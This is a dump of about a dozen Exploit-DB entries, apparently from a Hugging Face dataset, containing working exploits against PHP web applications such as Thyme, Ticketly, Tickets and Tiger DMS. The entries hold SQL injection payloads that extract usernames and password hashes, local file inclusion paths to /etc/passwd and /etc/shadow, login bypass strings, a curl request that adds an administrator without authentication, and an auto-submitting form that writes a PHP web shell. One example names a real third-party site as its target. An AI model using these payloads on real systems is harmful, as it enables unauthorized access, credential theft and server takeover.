deardaniel/secdata-raw huggingface dataset:
Exploit-DB #26756
Description: Thwboard Beta 2.8 - 'v_profile.php?user' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-07
Author: trueend5

Exploit:
source: https://www.securityfocus.com/bid/15763/info
 
ThWboard is prone to multiple input validation vulnerabilities.
 
The application is vulnerable to HTML injection, cross-site scripting, and SQL injection; these issues are due to a lack of proper sanitization of user-supplied input.
 
A remote attacker may inject SQL, HTML and script code resulting in theft of cookie-based authentication credentials, arbitrary script code execution, and the passing of malicious input to the underlying database application.
 
Version 3 beta 2.8 is vulnerable; other versions may be affected. 

http://www.example.com/thwb/v_profile.php?user[userid]='[SQL]
Exploit-DB #8029
Description: Thyme 1.3 - 'export_to' Local File Inclusion
Type: webapps
Platform: php
Date: 2009-02-10
Author: cheverok

Exploit:
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
 | Theme Local File Inclusion / (Register_globals: off) |
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
 | Version: <= 1.3 |
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
 | Dork: Thyme 1. Â© 2006 eXtrovert Software LLC. All rights reserved |
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]
 | Founded by: cheverok[at]gmail.com |
[*]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[*]

--------------------------------------------------------------------------------------
  Intro:

See info

  http://host/patch/phpinfo.php
   
   
if register_globals Off, then

---------------------------------------------------------------------------------------
  Exploit:
   
  http://host/patch/modules/sync/export.php?export_to=../../../../../../../../../../../etc/passwd%00


---------------------------------------------------------------------------------------
  Example:


  http://www.cbpool.org/thyme/modules/sync/export.php?export_to=../../../../../../../../../../../etc/shadow%00

----------------------------------------------------------------------------------------
(c) cheverok, 10.2.2009 greetz to antichat  

# milw0rm.com [2009-02-10]
Exploit-DB #3895
Description: Thyme Calendar 1.3 - SQL Injection
Type: webapps
Platform: php
Date: 2007-05-10
Author: warlord

Exploit:
                 ##################################################
                 ## Thyme Calendar 1.3 SQL Vulnerability Exploit ##
                 ##                  by Warlord                  ##
                 ##################################################
                 ##              codehook.110mb.com              ##
                 ##################################################

-------------------------------------------------------------------
OVERVIEW AND DEFINITION
-------------------------------------------------------------------

A vulnerability in exists in Thyme Calendar 1.3 (and possibly lower 
versions) which
allows execution of a custom SQL query.

The vulnerability exists in event_view.php, because the 'eid' field is not 
properly
validated. An attacker could exploit the vulnerabilit with the following 
request:


http://sitename/thyme_directory/event_view.php?eid=34 UNION SELECT userid 
FROM thyme_Users


Where 'sitename' is the name of the site, and 'thyme_directory' is the 
directory in which
Thyme is located.

-------------------------------------------------------------------
SQL QUERY
-------------------------------------------------------------------

The SQL query originally looks like this:


SELECT id FROM thyme_Attachments WHERE eid = 34


But by changing the 'eid' field we get a query that looks like this:


SELECT id FROM thyme_Attachments WHERE eid = 34 UNION SELECT userid FROM 
thyme_Users

-------------------------------------------------------------------
RESULT OF NEW QUERY
-------------------------------------------------------------------

The result is that the query sends back all the userid's (actually 
usernames) from the
database instead of the 'id' from thyme_Attachments. You will be able to 
grab the userid's
from the HTML source by searching for 'aid=' as this is where the attachment 
id is
supposed to go. For example:

http://sitename/thyme_directory/download_attachment.php?aid=admin

-------------------------------------------------------------------
GETTING PASSWORDS
-------------------------------------------------------------------

And the password (md5'd) can be obtained in the same fashion:

http://sitename/thyme_directory/event_view.php?eid=34 UNION SELECT pass FROM 
thyme_Users
WHERE username = "admin"

In the HTML source:

http://sitename/thyme_directory/download_attachment.php?aid=9ab1c5afa4946ca[PII_REDACTED]f38c83a

-------------------------------------------------------------------
HOW TO EXPLOIT
-------------------------------------------------------------------

Cookies should be modifiable. If not, crack the md5!

http://md5.rednoize.com

# milw0rm.com [2007-05-10]
Exploit-DB #41314
Description: TI Online Examination System 2.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-12
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: TI Online Examination System v2.0 - SQL Injection
# Google Dork: N/A
# Date: 12.02.2017
# Vendor Homepage: http://textusintentio.com/
# Software Buy: https://codecanyon.net/item/ti-online-examination-system-v2/11248904
# Demo: http://oesv2.textusintentio.com/
# Version: 2.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# Login as student user
# http://localhost/[PATH]/center/exam_edit.php?p_e_id=[SQL]
# http://localhost/[PATH]/center/student_edit.php?s_id=[SQL]
# http://localhost/[PATH]/center/edit_notice.php?n_id=[SQL]
# http://localhost/[PATH]/center/exam_edit.php?p_e_id=[SQL]
# Etc..
# # # # #
Exploit-DB #45128
Description: TI Online Examination System v2 - Arbitrary File Download
Type: webapps
Platform: php
Date: 2018-08-02
Author: AkkuS

Exploit:
# Exploit Title: TI Online Examination System v2 - Arbitrary File Download
# Dork: N/A
# Date: 02.08.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/ti-online-examination-system-v2/11248904
# Version: 2.0
# Category: Webapps
# Tested on: Kali linux
# Description : The "Export" operation in the admin panel is vulnerable.
The attacker can download and read all files known by the name via
"download.php"

====================================================

# Demo : server/admin/
# Vuln file : /admin/download.php

115. $data_action    = $_REQUEST['action'];
116. if($data_action == 'downloadfile')
117. {
118.    $file   = $_REQUEST['file'];
119.    $name    = $file;
120.    $result = output_file($file, $name);

# PoC :
http://server/admin/download.php?action=downloadfile&file=[filename]
you can write the known file name instead of [filename]. For Example:
'download.php' or 'index.php'

====================================================
Exploit-DB #9591
Description: Ticket Support Script - 'ticket.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-09-04
Author: InjEctOr5

Exploit:
                          ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by  :  Cyb3r-1sT

<<!>> C0ntact : cyb3r-1st [at] hotmail.com 
                   
=======================================================
+++++++++++++++++++ Script information+++++++++++++++++
=======================================================

<<->> script   :: ticket support system

<<->> download :: http://www.ticketsupportscript.com/download12/TicketSupportScriptU.zip
 
=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================


<<->> Exploit :: 

   goto here and send ticket with ur upload shell

                         ::> http://www.site.com/[ path ]/ticket.php?ac=new
            
   ur shell will be here

                         ::> http://www.site.com/[ path ]/uploads/


=======================================================
++++++++++++++++++++++ Greetz +++++++++++++++++++++++++
=======================================================

<<->> All freinds , [ www.tryag.com ] , [ www.7rs.org ] , [ sec-code.com ]

<<->> special greetz to ( tryag academy members )

# milw0rm.com [2009-09-04]
Exploit-DB #47387
Description: Ticket-Booking 1.4 - Authentication Bypass
Type: webapps
Platform: php
Date: 2019-09-14
Author: cakes

Exploit:
# Exploit Title: Ticket-Booking 1.4 - Authentication Bypass
# Author: Cakes
# Discovery Date: 2019-09-14
# Vendor Homepage: https://github.com/ABHIJEET-MUNESHWAR/Ticket-Booking
# Software Link: https://github.com/ABHIJEET-MUNESHWAR/Ticket-Booking/archive/master.zip
# Tested Version: 1.4
# Tested on OS: CentOS 7
# CVE: N/A

# Description:
# Easy authentication bypass vulnerability on this ticket booking application 
# allowing the attacker to remove any previously booked seats

# Simply replay the below Burp request or use Curl (remember to change the Cookie Values)

POST /ticket/cancel.php HTTP/1.1
Host: Target
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://Target/ticket/login.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
Cookie: PHPSESSID=j9jrgserbga22a9q9u165uirh4; rental_property_manager=mq5iitk8ic80ffa8dcf28294d4
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1

userid='%20or%200%3d0%20#&[CREDENTIAL_REDACTED]=signin
Exploit-DB #45902
Description: Ticketly 1.0 - 'kind_id' SQL Injection
Type: webapps
Platform: php
Date: 2018-11-26
Author: Javier Olmedo

Exploit:
# Exploit Title: Ticketly 1.0 – Multiple SQL Injection
# Exploit Author: Javier Olmedo
# Website: https://hackpuntes.com
# Date: 2018-11-19
# Google Dork: N/A
# Vendor: Abisoft (https://abisoftgt.net)
# Software Link: https://abisoftgt.net/software/6/sistema-de-tickets-y-soporte-con-php-y-mysql
# Affected Version: 1.0
# Patched Version: unpatched
# Category: Web Application
# Platform: Windows & Ubuntu
# Tested on: Win10x64 & Kali Linux
# CVE: 2018-18923
  
# 1. Technical Description:
# Ticketly 1.0 are affected by SQL Injection in multiple parameters and
# resources through POST. This allows a attacker to read and modify
# sensitive information from the database used by the application.

# 2. Proof Of Concept (PoC):
# 2.1 The following POST request generates an error 500 in the Application (add ' in name parameter)
---
POST /ticketly/action/addproject.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: */*
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/ticketly/projects.php
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 32
Connection: close

name=Test%22&description=Test
---

# 2.2 In another request, add two ' to receive a code 200 OK
---
POST /ticketly/action/addproject.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: */*
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/ticketly/projects.php
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 32
Connection: close

name=Test%22%22&description=Test
---

# 3. Payloads
# 3.1 Payload (boolean-based blind)
name=Test" RLIKE (SELECT (CASE WHEN (4632=4632) THEN 0x54657374 ELSE 0x28 END)) AND "lrmZ"="lrmZ&description=Test

# 3.2 Payload (error-based)
name=Test” AND EXTRACTVALUE(9139,CONCAT(0x5c,0x7176766a71,(SELECT (ELT(9139=9139,1))),0x7178717a71)) AND "SZJL"="SZJL&description=Test

#3.3 Payload (AND/OR time-based blind)
name=Test” RLIKE SLEEP(5) AND "WkTS"="WkTS&description=Test

# 4. Vulnerables resources and parameters
# /action/addproject.php (description, name, category_id and description)
# /action/addticket.php (king_id, priority_id, project_id, status_id and title)
# /reports.php (kind_id y status_id)

# 5. Timeline
# 24/07/2018 Discovery
# 24/07/2018 Contact with developer
# 24/07/2018 Solution to vulnerability as pending
# 02/11/2018 Request ID CVE
# 04/11/2018 Assigned CVE-2018-18923
# 05/11/2018 Public disclosure

# 6. References:
# https://hackpuntes.com/cve-2018-18923-ticketly-1-0-multiples-sql-injections/
Exploit-DB #45895
Description: Ticketly 1.0 - 'name' SQL Injection
Type: webapps
Platform: php
Date: 2018-11-21
Author: Javier Olmedo

Exploit:
# Exploit Title: Ticketly 1.0 – 'name' SQL Injection
# Exploit Author: Javier Olmedo
# Website: https://hackpuntes.com
# Date: 2018-11-19
# Google Dork: N/A
# Vendor: Abisoft (https://abisoftgt.net)
# Software Link: https://abisoftgt.net/software/6/sistema-de-tickets-y-soporte-con-php-y-mysql
# Affected Version: 1.0
# Patched Version: unpatched
# Category: Web Application
# Platform: Windows & Ubuntu
# Tested on: Win10x64 & Kali Linux
# 6. References:
# https://hackpuntes.com/cve-2018-18923-ticketly-1-0-multiples-sql-injections/
# CVE: N/A

# 1. Technical Description:
# Ticketly 1.0 are affected by SQL Injection in multiple parameters and
# resources through POST. This allows a attacker to read and modify
# sensitive information from the database used by the application.

# 2. Proof Of Concept (PoC):
# 2.1 The following POST request generates an error 500 in the Application (add ' in name parameter)
---
POST /ticketly/action/addproject.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: */*
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/ticketly/projects.php
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 32
Connection: close

name=Test%22&description=Test
---

# 2.2 In another request, add two ' to receive a code 200 OK
---
POST /ticketly/action/addproject.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: */*
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/ticketly/projects.php
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 32
Connection: close

name=Test%22%22&description=Test
---

# 3. Payloads
# 3.1 Payload (boolean-based blind)
name=Test" RLIKE (SELECT (CASE WHEN (4632=4632) THEN 0x54657374 ELSE 0x28 END)) AND "lrmZ"="lrmZ&description=Test

# 3.2 Payload (error-based)
name=Test” AND EXTRACTVALUE(9139,CONCAT(0x5c,0x7176766a71,(SELECT (ELT(9139=9139,1))),0x7178717a71)) AND "SZJL"="SZJL&description=Test

#3.3 Payload (AND/OR time-based blind)
name=Test” RLIKE SLEEP(5) AND "WkTS"="WkTS&description=Test

# 4. Vulnerables resources and parameters
# /action/addproject.php (description, name, category_id and description)
# /action/addticket.php (king_id, priority_id, project_id, status_id and title)
# /reports.php (kind_id y status_id)
Exploit-DB #45892
Description: Ticketly 1.0 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2018-11-20
Author: Javier Olmedo

Exploit:
# Exploit Title: Ticketly 1.0 - Cross-Site Request Forgery (Add Admin)
# Exploit Author: Javier Olmedo
# Website: https://hackpuntes.com
# Date: 2018-11-19
# Google Dork: N/A
# Vendor: Abisoft (https://abisoftgt.net)
# Software Link: https://abisoftgt.net/software/6/sistema-de-tickets-y-soporte-con-php-y-mysql
# Affected Version: 1.0
# Patched Version: unpatched
# Category: Web Application
# Platform: Windows & Ubuntu
# Tested on: Win10x64 & Kali Linux
# CVE: N/A
# 4. References:
# https://hackpuntes.com/cve-2018-18922-ticketly-1-0-escalacion-de-privilegios-crear-cuenta-administrador/
  
# 1. Technical Description:
# Ticketly version 1.0 are affected by a privilege escalation vulnerability,
# an attacker could create an administrator user account by sending a POST
# request to the resource /action/add_user.php without authentication.

# 2. Proof Of Concept (PoC):
# Send request curl:
curl -i -s -k  -X $'POST' \
    -H $'Host: [HOST]' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Content-Length: 82' \
    --data-binary $'name=[NAME]&lastname=[LASTNAME]&email=[EMAIL]&status=1&password=[PASS]' \
    $'http://[PATH]/action/add_user.php'
Exploit-DB #42796
Description: TicketPlus - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2017-09-26
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: TicketPlus - Support Ticket Management System - Arbitrary File Upload
# Dork: N/A
# Date: 26.09.2017
# Vendor Homepage: http://teamworktec.com/
# Software Link: https://codecanyon.net/item/ticketplus-support-ticket-management-system/20221316
# Demo: http://sportsgrand.com/demo/ticket_plus/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# 
# The vulnerability allows an users upload arbitrary file....
# 
# Vulnerable Source:
# 
#     public function updateProfile(Request $request) {
#         $this->validate($request, [
#             'name' => 'required|max:32',
#             'username' => 'required|max:32|unique:users,username,'.Auth::id(),
#             'email' => 'email|max:40|unique:users,email,'.Auth::id()
#         ]);
# 
#         $user = User::find(Auth::id());
#         $user->name = $request->name;
#         $user->username = $request->username;
#         $user->email = $request->email;
#         if(!empty($request->file)){
#             $request->file->move('uploads', $request->file->getClientOriginalName());
#             $user->avatar = $request->file->getClientOriginalName();
#         }
#         $user->save();
#         return redirect()->back()->withMessage('Profile updated successfully');
#     }
# 	
# Proof of Concept: 
# 
# http://localhost/[PATH]/profile/settings
# http://localhost/[PATH]/uploads/[FILE]
# 
# Etc..
# # # # #
Exploit-DB #17319
Description: Tickets 2.13 - SQL Injection
Type: webapps
Platform: php
Date: 2011-05-25
Author: AutoSec Tools

Exploit:
<!------------------------------------------------------------------------
# Software................Tickets 2.13
# Vulnerability...........SQL Injection
# Threat Level............Critical (4/5)
# Download................http://www.ticketscad.org/
# Discovery Date..........5/24/2011
# Tested On...............Windows Vista + XAMPP
# ------------------------------------------------------------------------
# Author..................AutoSec Tools
# Site....................http://www.autosectools.com/
# Email...................John Leitch <john@autosectools.com>
# ------------------------------------------------------------------------
# 
# 
# --Description--
# 
# A sql injection vulnerability in Tickets 2.13 can be exploited to
# extract arbitrary data. In some environments it may be possible to
# create a PHP shell.
# 
# 
# --PoC-->

<html>
 <body onload="document.forms[0].submit()"> 
  <form method="POST" action="http://localhost/tickets/add_note.php">  
   <input type="hidden" name="frm_ticket_id" value="0 UNION SELECT '<?php echo system($_GET["CMD"]); ?>','','','','','','','','','','','','','','','','','','','','','','','','','' FROM dual INTO OUTFILE '../../htdocs/shell.php';#" />   
  </form>
 </body>
</html>
Exploit-DB #36486
Description: Tienda Virtual - 'art_detalle.php' SQL Injection
Type: webapps
Platform: php
Date: 2012-01-03
Author: Arturo Zamora

Exploit:
source: https://www.securityfocus.com/bid/51240/info

Tienda Virtual is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

The following example URIs are available:

http://www.example.com/art_detalle.php?id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13--

http://www.example.com/art_detalle.php?id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13+from+information_schema.tables--
Exploit-DB #8571
Description: Tiger Dms - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-04-29
Author: ThE g0bL!N

Exploit:
==============================================================================
DDDDD  OOOO  SSSS      DDDD     ZZZZZZ    TTTTTTTTT EEEEE       A      MM   MM
D    D o  O  S         D   D        Z         T     E          A A     M M M M
D    D o  o  SSSS [**] D    D      Z          T     EEEEE     AAAAA    M  M  M
D   D  o  o     S      D   D      Z           T     E        A     A   M     M
DDDD   oooO  SSSS      DDDD      ZZZZZZ       T     EEEEE   A       A  M     M
==============================================================================
-------------------------------------[+]
Home:http://www.tigerdms.com/download.php
Product: Tiger DMS   
home:www.h4ckf0ru.com
Note:  I test it On Localhost Because ThE Demo is not Worked :)

-------------------------------------
Tiger DMS (auth Bypass) SQL Injection Vulnerabilities
-------------------------------------
File:
-----
Login.php


Vuln:
----
if (isset($r_username)){
$selog = mysql_query("SELECT * FROM $prefix"."users where username='$r_username' and password='$r_password'");
$num_rows = mysql_num_rows($selog);
    if ($num_rows == 1){
    $nona=mysql_fetch_array($selog);
    $_SESSION["aut"] = $nona["type"] ;
    $_SESSION["nick"] = $nona["username"];
    $_SESSION["name"] = $nona["name"];
    $_SESSION["id"] = $nona["id"];
    header("Location: index.php");

exploit:
--------

http://localhost/[path]/login.php

username:' or '1=1

Password:' or '1=1


--------------------------------------------------
 Greetz to :
[+] Super_Cristal (My Master) Dos-Dz Team Snakes TeaM
SuB-ZeRo x.CJP.x Mr.tro0oqy - Cyber-Zone-  ZoRLu -ViRuS_Dz
And ALL Members Of anti-intruders.org  
ALL My Friends (Dz)
[+]-------------------------------------[+] 

# milw0rm.com [2009-04-29]